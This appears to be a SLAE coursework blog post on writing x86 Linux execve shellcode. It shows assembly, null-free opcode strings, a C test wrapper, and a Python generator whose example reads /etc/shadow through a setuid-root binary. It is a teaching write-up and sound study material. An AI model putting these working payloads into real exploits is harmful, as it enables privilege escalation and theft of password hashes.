Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
This week’s SLAE post will cover execve shellcode, including a shellcode generator for it!
Linux uses the execve system call to execute a program on the local system. It is most commonly used to execute a shell (such as: /bin/sh) for privilege escalation purposes.
In this post, I’ll cover a few ways to call this syscall, as well as a shellcode generator for different binaries and arguments.
This will be a longer post, but hopefully the methods are well worth it. That said, you can always jump to the generator at the bottom if that’s all you want.
With that in mind, let’s jump into the first example.
This uses the JMP-CALL-POP technique and a variable containing the string “/bin/bashABBBBCCCC” to execute the bash shell. While the code is well commented, I’ll cover a bit of it
below.
; Filename: execve.nasm ; Author: Ray Doyle ; ; Purpose: Execute /bin/bash global _start section .text _start: jmp short call_shellcode shellcode: ; JMP - CALL - POP = ESI now contains message pop esi ; Zero out the EBX register (will be used for filename) xor ebx, ebx ; Move BL (0x0) into [ESI+9] (the "A" in message) to null terminate /bin/bash mov byte [esi+9], bl ; Move ESI (the location of /bin/bash) into [ESI+10] (the "BBBB" in message) mov dword [esi+10], esi ; Move EBX (0x00000000) into [ESI+10] (the "CCCC" in message) mov dword [esi+14], ebx ; Load the null-terminated "/bin/bash" string into EBX for execve's filename lea ebx, [esi] ; Load the address of /bin/bash into ECX for execve's argv lea ecx, [esi+10] ; Load the address of the null bytes into EDX for execve's envp lea edx, [esi+14] ; Zero out the EAX register xor eax, eax ; Load 11 (sys_execve) into EAX mov al, 0xb ; Call interrupt 0x80 to execute the syscall int 0x80 call_shellcode: call shellcode ; The CALL places this at the top of the stack message db "/bin/bashABBBBCCCC"
The reasoning for the characters at the end of /bin/bash are twofold. First, it prevents my final shellcode from having null characters when I need to terminate the string. Second, it allows me some markers for future parameters.
As you can see, argv needs the address of /bin/bash, whereas filename (EBX) needs the actual string itself.
With the assembly file created and compiled/linked, it was time to check the opcodes. First, I made sure that there were no null bytes in the binary.
doyler@slae:~/slae/module2/module2-5$ objdump -d execve -M intel execve: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: eb 1a jmp 804807c08048062 <shellcode>: 8048062: 5e pop esi 8048063: 31 db xor ebx,ebx 8048065: 88 5e 09 mov BYTE PTR [esi+0x9],bl 8048068: 89 76 0a mov DWORD PTR [esi+0xa],esi 804806b: 89 5e 0e mov DWORD PTR [esi+0xe],ebx 804806e: 8d 1e lea ebx,[esi] 8048070: 8d 4e 0a lea ecx,[esi+0xa] 8048073: 8d 56 0e lea edx,[esi+0xe] 8048076: 31 c0 xor eax,eax 8048078: b0 0b mov al,0xb 804807a: cd 80 int 0x80 0804807c <call_shellcode>: 804807c: e8 e1 ff ff ff call 8048062 08048081 <message>: 8048081: 2f das 8048082: 62 69 6e bound ebp,QWORD PTR [ecx+0x6e] 8048085: 2f das 8048086: 62 61 73 bound esp,QWORD PTR [ecx+0x73] 8048089: 68 41 42 42 42 push 0x42424241 804808e: 42 inc edx 804808f: 43 inc ebx 8048090: 43 inc ebx 8048091: 43 inc ebx 8048092: 43 inc ebx
Next, I obtained the actual shellcode.
doyler@slae:~/slae/module2/module2-5$ objdump -d ./execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\xeb\x1a\x5e\x31\xdb\x88\x5e\x09\x89\x76\x0a\x89\x5e\x0e\x8d\x1e\x8d\x4e\x0a\x8d\x56\x0e\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"
Finally, I loaded the shellcode into my C wrapper and verified execution. As you can see, this shellcode of length 51 properly executes /bin/bash, and we’re dropped into another shell.
doyler@slae:~/slae/module2/module2-5$ ps PID TTY TIME CMD 9827 pts/4 00:00:00 bash 9953 pts/4 00:00:00 ps doyler@slae:~/slae/module2/module2-5$ ./shellcode Shellcode Length: 51 doyler@slae:~/slae/module2/module2-5$ ps PID TTY TIME CMD 9827 pts/4 00:00:00 bash 9954 pts/4 00:00:00 bash 10010 pts/4 00:00:00 ps doyler@slae:~/slae/module2/module2-5$ exit exit
Note that this assembly code will not work outside of the wrapper.
Similar to my “Hello World” shellcode, it is also possible to use the stack for the execve call.
Just for reference sake, here is what the registers should look like before the system calls the interrupt.
Also important to note, the number of slashes in a Linux command do not matter. For example, the following executes /bin/bash without issue, even with the leading slashes.
doyler@slae:~/slae/module2/module2-5$ ////bin/bash doyler@slae:~/slae/module2/module2-5$ ps PID TTY TIME CMD 13436 pts/1 00:00:00 bash 27730 pts/1 00:00:00 bash 27784 pts/1 00:00:00 ps doyler@slae:~/slae/module2/module2-5$ exit exit
Similar to the hello world, you will need to reverse the string(s) placed on the stack.
First, I used Python to reverse and encode the ‘/bin/bash’ string.
doyler@slae:~/slae/module2/module2-5$ python Python 2.7.3 (default, Oct 26 2016, 21:04:23) [GCC 4.6.3] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> string = "///bin/bash" >>> string[::-1] 'hsab/nib///' >>> string[::-1].encode('hex') '687361622f6e69622f2f2f'
Unfortunately, this method is not convenient for longer strings. In this case, I’ve used the reverse.py utility, and included it in my GitHub repository.
This allows for the easy reversing and encoding of strings, as well as breaking them into 4 byte chunks for PUSH or MOV instructions.
doyler@slae:~/slae/module2/module2-5$ python reverse.py ////bin/bash String length : 12 hsab : 68736162 /nib : 2f6e6962 //// : 2f2f2f2f
This is almost the same as my earlier version, only with the JMP-CALL-POP replaced with three PUSH calls for the /bin/bash string.
; Filename: execve-stack.nasm ; Author: Ray Doyle ; ; Purpose: Execute /bin/bash via the stack global _start section .text _start: ; Zero out the EAX register xor eax, eax ; Push 0x00000000 onto the stack push eax ; Push "////bin/bash" onto the stack (reverse order for endianness) push 0x68736162 push 0x2f6e6962 push 0x2f2f2f2f ; Load the "////bin/bash" null-terminated string into EBX mov ebx, esp ; Push 0x00000000 onto the stack (again) push eax ; Load 0x00000000 into EDX (envp for sys_execve) mov edx, esp ; Push EBX (the location of "////bin/bash") onto the stack push ebx ; Load the (address of ////bin/bash, 0x00000000) into ECX (argv for sys_execve) mov ecx, esp ; Load 11 into EAX (sys_execve syscall #) mov al, 0xb ; Execute the sys_execve syscall int 0x80
With my assembly complete, it was time to test the shellcode.
First, I compiled and linked my assembly.
doyler@slae:~/slae/module2/module2-6$ sh ../../compile.sh execve-stack [+] Assembling with Nasm ... [+] Linking ... [+] Done!
Next, I verified that there were no null bytes in my shellcode.
doyler@slae:~/slae/module2/module2-6$ objdump -d execve-stack -M intel execve-stack: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 31 c0 xor eax,eax 8048062: 50 push eax 8048063: 68 62 61 73 68 push 0x68736162 8048068: 68 62 69 6e 2f push 0x2f6e6962 804806d: 68 2f 2f 2f 2f push 0x2f2f2f2f 8048072: 89 e3 mov ebx,esp 8048074: 50 push eax 8048075: 89 e2 mov edx,esp 8048077: 53 push ebx 8048078: 89 e1 mov ecx,esp 804807a: b0 0b mov al,0xb 804807c: cd 80 int 0x80
Finally, I obtained the shellcode that I’d be using.
doyler@slae:~/slae/module2/module2-6$ objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
With the shellcode in hand, I added it to my C wrapper program. As you can see, it executed just fine, and was shorter than the non-stack version by over 40%!
doyler@slae:~/slae/module2/module2-6$ vi shellcode.c doyler@slae:~/slae/module2/module2-6$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c doyler@slae:~/slae/module2/module2-6$ ps PID TTY TIME CMD 2092 pts/0 00:00:00 bash 27892 pts/0 00:00:00 ps doyler@slae:~/slae/module2/module2-6$ ./shellcode Shellcode Length: 30 doyler@slae:~/slae/module2/module2-6$ ps PID TTY TIME CMD 2092 pts/0 00:00:00 bash 27893 pts/0 00:00:00 bash 27947 pts/0 00:00:00 ps doyler@slae:~/slae/module2/module2-6$ exit exit
Last, but not least, I wanted to actually pass arguments to the applications that I was calling.
My first attempt had a few problems, but I wanted to include it here as an example.
First, there were a few null bytes (mostly due to instructions like ‘mov ecx, progLen’). Additionally, due to the direct variable references, this shellcode would have hard-coded addresses.
global _start section .text _start: xor eax, eax push eax mov edi, esp mov esi, prog mov ecx, progLen rep movsb mov ebx, esp push eax mov edx, esp push eax mov edi, esp mov esi, argv mov ecx, argvLen rep movsb mov esi, esp push eax push esi push ebx mov ecx, esp mov al,11 int 0x80 section .data prog: db "/bin/ls" progLen equ $-prog argv: db "-al" argvLen equ $-argv
That said, it executed just fine, and was a good starting point for me to go from.
doyler@slae:~/slae/module2/module2-6$ nasm -f elf32 -o execve-argv.o execve-argv.nasm doyler@slae:~/slae/module2/module2-6$ ld -m elf_i386 -o execve-argv execve-argv.o doyler@slae:~/slae/module2/module2-6$ ./execve-argv total 40 drwxr-xr-x 2 root root 4096 May 10 17:53 . drwxr-xr-x 21 root root 4096 May 10 17:53 .. -rw-r--r-- 1 root root 557 May 10 17:27 _exfil.txt -rwxr-xr-x 1 root root 784 May 10 17:53 execve-argv -rw-r--r-- 1 root root 471 May 10 17:53 execve-argv.nasm -rw-r--r-- 1 root root 704 May 10 17:53 execve-argv.o -rw-r--r-- 1 root root 247 May 10 16:56 reverse.py -rwxr-xr-x 1 root root 580 May 10 17:10 test -rw-r--r-- 1 root root 652 May 10 17:10 test.nasm -rw-r--r-- 1 root root 464 May 10 17:10 test.o
First, I wanted to use the JMP-CALL-POP technique to pass arguments to my execve call. I actually ended up using two JMP-CALL-POP instruction chains, which was new to me.
That said, it worked in the end, albeit through some luck and long shellcode.
As you can see, my code for including arguments is found below.
I do want to note that this might fail on your system, depending on what is on your stack initially. For me, my stack contained 0x00000001, so I was luckily able to overwrite everything but the last null byte with my ‘/bin/ls’. That said, later versions will fix this issue.
; Filename: execve-argv.nasm ; Author: Ray Doyle ; Website: https://www.doyler.net ; ; Purpose: Execute `/bin/ls -al` via the JMP-CALL-POP technique global _start section .text _start: jmp short call_program program: ; JMP-CALL-POP to load the prog variable into ESI pop esi ; Clear EAX and push onto the stack (null terminator) xor eax, eax push eax ; Copy the program (in this case, /bin/ls) onto the top of the stack ; Note that this only works because I had enough space + null pointers already on the stack ; If this command was any longer, this program would have likely failed mov edi, esp mov cl, progLen rep movsb ; Move the stack pointer into EBX (null-terminated filename for execve) mov ebx, esp ; Push more null bytes and load them into EDX (envp - 0x00000000) push eax mov edx, esp jmp short call_args args: ; JMP-CALL-POP to load the argv variable into ESI pop esi ; Copy the argments (in this case, -al) onto the top of the stack (null terminated) ; This works fine since '-al' is less than 4 bytes push eax mov edi, esp mov cl, argvLen rep movsb ; Move the stack pointer (pointing to the arguments structure) into ESI for later mov esi, esp ; Push the argument struct onto the stack in the proper order, and load into ECX push eax push esi push ebx mov ecx, esp ; Place 11 (sys_execve) into EAX and execute mov al,11 int 0x80 call_program: call program prog: db "/bin/ls" progLen equ $-prog call_args: call args argv: db "-al" argvLen equ $-argv
With my JMP-CALL-POP version complete, it was time to compile it. Note that I performed these steps on a 64-bit system, hence the extra flags for nasm and ld.
doyler@slae:~/slae/module2/module2-6$ nasm -f elf32 -o execve-argv.o execve-argv.nasm doyler@slae:~/slae/module2/module2-6$ ld -m elf_i386 -o execve-argv execve-argv.o
Next, I verified that there were no null bytes or hard-coded addresses.
doyler@slae:~/slae/module2/module2-6$ objdump -d execve-argv -M intel execve-argv: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: eb 24 jmp 8048086 <call_program> 08048062 <program>: 8048062: 5e pop esi 8048063: 31 c0 xor eax,eax 8048065: 50 push eax 8048066: 89 e7 mov edi,esp 8048068: b1 07 mov cl,0x7 804806a: f3 a4 rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi] 804806c: 89 e3 mov ebx,esp 804806e: 50 push eax 804806f: 89 e2 mov edx,esp 8048071: eb 1f jmp 8048092 <call_args> 08048073 <args>: 8048073: 5e pop esi 8048074: 50 push eax 8048075: 89 e7 mov edi,esp 8048077: b1 03 mov cl,0x3 8048079: f3 a4 rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi] 804807b: 89 e6 mov esi,esp 804807d: 50 push eax 804807e: 56 push esi 804807f: 53 push ebx 8048080: 89 e1 mov ecx,esp 8048082: b0 0b mov al,0xb 8048084: cd 80 int 0x80 08048086 <call_program>: 8048086: e8 d7 ff ff ff call 8048062 <program> 0804808b <prog>: 804808b: 2f das 804808c: 62 69 6e bound ebp,QWORD PTR [ecx+0x6e] 804808f: 2f das 8048090: 6c ins BYTE PTR es:[edi],dx 8048091: 73 e8 jae 804807b <args+0x8> 08048092 <call_args>: 8048092: e8 dc ff ff ff call 8048073 <args> 08048097 <argv>: 8048097: 2d .byte 0x2d 8048098: 61 popa 8048099: 6c ins BYTE PTR es:[edi],dx
Finally, I tested out the compiled application, and it worked like a charm!
doyler@slae:~/slae/module2/module2-6$ ./execve-argv total 40 drwxr-xr-x 2 root root 4096 May 10 18:56 . drwxr-xr-x 21 root root 4096 May 10 18:56 .. -rw-r--r-- 1 root root 1760 May 10 17:54 _exfil.txt -rwxr-xr-x 1 root root 780 May 10 18:56 execve-argv -rw-r--r-- 1 root root 591 May 10 18:56 execve-argv.nasm -rw-r--r-- 1 root root 672 May 10 18:56 execve-argv.o -rw-r--r-- 1 root root 247 May 10 16:56 reverse.py -rwxr-xr-x 1 root root 580 May 10 17:10 test -rw-r--r-- 1 root root 652 May 10 17:10 test.nasm -rw-r--r-- 1 root root 464 May 10 17:10 test.o
With the assembly working, it was time to convert my application to shellcode.
First, I used an even shorter one-liner to get the shellcode.
doyler@slae:~/slae/module2/module2-6$ for i in $(objdump -d execve-argv |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo \xeb\x24\x5e\x31\xc0\x50\x89\xe7\xb1\x07\xf3\xa4\x89\xe3\x50\x89\xe2\xeb\x1f\x5e\x50\x89\xe7\xb1\x03\xf3\xa4\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6c\x73\xe8\xdc\xff\xff\xff\x2d\x61\x6c
Next, I added the new shellcode to my wrapper program.
#include<stdio.h> #include<string.h> unsigned char code[] = \ "\xeb\x26\x5e\x31\xc0\x50\x89\xe7\xb1\x07\xf3\xa4\x89\x07\x89\xe3\x50\x89\xe2\xeb\x1f\x5e\x50\x89\xe7\xb1\x03\xf3\xa4\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xd5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6c\x73\xe8\xdc\xff\xff\xff\x2d\x61\x6c"; main() { printf("Shellcode length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
Finally, I compiled and tested it. As you can see, and as expected, it still worked!
doyler@slae:~/slae/module2/module2-6$ gcc -fno-stack-protector -z execstack -m32 -o shellcode shellcode.c shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int] main() ^~~~ doyler@slae:~/slae/module2/module2-6$ ./shellcode Shellcode length: 60 total 52 drwxr-xr-x 2 root root 4096 May 12 12:36 . drwxr-xr-x 22 root root 4096 May 12 12:35 .. -rw-r--r-- 1 root root 240 May 12 12:10 YHxS25jG -rw-r--r-- 1 root root 5499 May 10 19:09 _exfil.txt -rwxr-xr-x 1 root root 776 May 12 12:35 execve-argv -rw-r--r-- 1 root root 605 May 12 12:29 execve-argv.nasm -rw-r--r-- 1 root root 672 May 12 12:35 execve-argv.o -rw-r--r-- 1 root root 587 May 11 16:17 out.txt -rw-r--r-- 1 root root 247 May 10 16:56 reverse.py -rwxr-xr-x 1 root root 7408 May 12 12:36 shellcode -rw-r--r-- 1 root root 408 May 12 12:35 shellcode.c
Finally, I wanted to use the stack for calling execve with arguments. This section will be shorter, as I’ve already covered using arguments and the stack in earlier sections.
The code is almost exactly the same as the execve-stack combined with the execve-argv versions, so I’ve just included it below.
; Filename: execve-argv-stack.nasm ; Author: Ray Doyle ; Website: https://www.doyler.net ; ; Purpose: Execute `/bin/ls -a` via the stack global _start section .text _start: xor eax, eax push eax ; PUSH /bin//ls onto the stack push 0x736c2f2f push 0x6e69622f ; Load the "/bin//ls" null-terminated string into EBX mov ebx, esp ; Load 0x00000000 into EDX (envp for sys_execve) push eax mov edx, esp push eax ; PUSH -a onto the stack and load into ESI for later push 0x612d mov esi, esp ; Push the argument struct onto the stack in the proper order, and load into ECX push eax push esi push ebx mov ecx, esp ; Execute sys_execve mov al,11 int 0x80
First, I compiled and linked the executable, so that I could test it.
doyler@slae:~/slae/module2/module2-6$ nasm -f elf32 -o execve-argv.o execve-argv.nasm doyler@slae:~/slae/module2/module2-6$ ld -m elf_i386 -o execve-argv execve-argv.o
As expected, it worked just fine!
doyler@slae:~/slae/module2/module2-6$ ./execve-argv . execve-argv execve-argv.o test test.o .. execve-argv.nasm reverse.py test.nasm
For an added bonus, this is also over 40% smaller (61 bytes vs 35 bytes) than the non-stack variant!
I do want to note one quick thing with this version. The push 0x612d (-a) instruction is actually going to contain two null bytes. You would need to remove these before converting this to actual shellcode.
Last, and certainly not least, I wanted to share the generator that I wrote for execve shellcode.
The code (with plenty of comments) is in the next section, but I wanted to show the usageit first.
First, I ran my new Python script, and it generated the shellcode for me. In this case, it is generating `/bin/cat /etc/shadow`.
doyler@slae:~/slae/module2/module2-6$ python execve-shellcode-generator.py \xeb\x29\x5e\x31\xc0\x50\x89\xe7\xb1\x08\xf3\xa4\x89\x07\x89\xe3\x50\x89\xe2\xeb\x23\x5e\x50\x50\x50\x50\x89\xe7\xb1\x0b\xf3\xa4\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69\x6e\x2f\x63\x61\x74\xe8\xd8\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77
Next, I added the new shellcode to my wrapper program.
#include<stdio.h> #include<string.h> unsigned char code[] = \ "\xeb\x29\x5e\x31\xc0\x50\x89\xe7\xb1\x08\xf3\xa4\x89\x07\x89\xe3\x50\x89\xe2\xeb\x23\x5e\x50\x50\x50\x50\x89\xe7\xb1\x0b\xf3\xa4\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69\x6e\x2f\x63\x61\x74\xe8\xd8\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
Finally, I compiled and executed the application. As you can see, it worked, and I got the contents of the shadow file!
Note that I had make the file suid root for this to work. This is because a standard user cannot cat the shadow file on a Linux system. That said, this is a great example of how shellcode may actually be used in a real scenario. If an exploit was found in a suid root program, then this shellcode would work just fine.
doyler@slae:~/slae/module2/module2-6$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c doyler@slae:~/slae/module2/module2-6$ sudo chown root:root shellcode [sudo] password for doyler: doyler@slae:~/slae/module2/module2-6$ sudo chmod 4755 shellcode doyler@slae:~/slae/module2/module2-6$ ./shellcode Shellcode Length: 72 root:!:17618:0:99999:7::: daemon:*:16289:0:99999:7::: bin:*:16289:0:99999:7::: sys:*:16289:0:99999:7::: sync:*:16289:0:99999:7::: games:*:16289:0:99999:7:::
You can find this, and all the previously mentioned applications, in my GitHub repository.
This generator worked for all the binary and argument combinations that I tried. That said, please let me know if you run across any issues or bugs.
#!/usr/bin/python # SLAE Exercise: Execve Arv Shellcode (Linux/x86) Generator # Author: Ray Doyle (@doylersec) # Website: https://www.doyler.net #executable = "/bin/ls" executable = "/bin/cat" exeLen = len(executable) exeShellcode = "x" + "\\x".join("{:02x}".format(ord(c)) for c in executable) #arguments = "-al" arguments = "/etc/shadow" argLen = len(arguments) argShellcode = "x" + "\\x".join("{:02x}".format(ord(c)) for c in arguments) space = (argLen % 4) + 1 # Number of bytes after 1st jump until 0x80 (inclusive) jmp1 = 37 + space # Number of bytes after 2nd jump until end of exe shellcode (inclusive) jmp2 = 23 + exeLen + space # Number of bytes from program (pop esi start) until 1st CALL + 4 (to skip back over CALL) call1 = 37 + 4 + space # Number of bytes from args (after first jump) until 2nd CALL + 4 (skip back) call2 = 23 + exeLen + 4 + space # 8048060: eb 26 jmp 8048088] shellcode = ("\\xeb\\" + ("x%02x" % jmp1) + "" # JMP SHORT to call_program (right after 0x80) # # # 8048062: 5e pop esi # 8048063: 31 c0 xor eax,eax # 8048065: 50 push eax # 8048066: 89 e7 mov edi,esp # 8048068: b1 07 mov cl,0x7 # 804806a: f3 a4 rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi] # 804806c: 89 07 mov DWORD PTR [edi],eax # 804806e: 89 e3 mov ebx,esp # 8048070: 50 push eax # 8048071: 89 e2 mov edx,esp # # "\\x5e\\x31\\xc0\\x50\\x89\\xe7\\xb1\\" + ("x%02x" % exeLen) + "\\xf3\\xa4\\x89\\x07\\x89\\xe3\\x50\\x89\\xe2" # # # 8048073: eb 1f jmp 8048094 # # "\\xeb\\" + ("x%02x" % jmp2) + "" # JMP SHORT to call_args # # # 8048075: 5e pop esi # 8048076: 50 push eax # 8048077: 89 e7 mov edi,esp # 8048079: b1 03 mov cl,0x3 # 804807b: f3 a4 rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi] # 804807d: 89 e6 mov esi,esp # 804807f: 50 push eax # 8048080: 56 push esi # 8048081: 53 push ebx # 8048082: 89 e1 mov ecx,esp # 8048084: b0 0b mov al,0xb # 8048086: cd 80 int 0x80 # # "\\x5e" + ("\\x50" * space) + "\\x89\\xe7\\xb1\\" + ("x%02x" % argLen) + "\\xf3\\xa4\\x89\\xe6\\x50\\x56\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80" # # # 8048088: e8 d5 ff ff ff call 8048062 # # "\\xe8\\" + ("x%02x" % (255 - call1)) + "\\xff\\xff\\xff" # CALL program "\\" + exeShellcode + "" "\\xe8\\" + ("x%02x" % (255 - call2)) + "\\xff\\xff\\xff\\" + argShellcode) print shellcode
While this was a longer post, I had a lot of fun learning how the execve system call works.
Hopefully I covered all the useful ways to call it, and that you learned something.
I’ve still got plenty of assembly posts in the works, but let me know if you’d like a break for a little.
In the meantime, please reach out if you have any questions, ideas, or suggestions!
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.
can you write a similar article for x86_64?
He didn’t create this content, he just copied it from SecurityTube SLAE and cleaned it up.
Yup, as I specified, this is from my SLAE coursework. That said, I’m hoping to write some 64-bit shellcode soon!
[…] Execve Shellcode – Includes Arguments and Generator! […]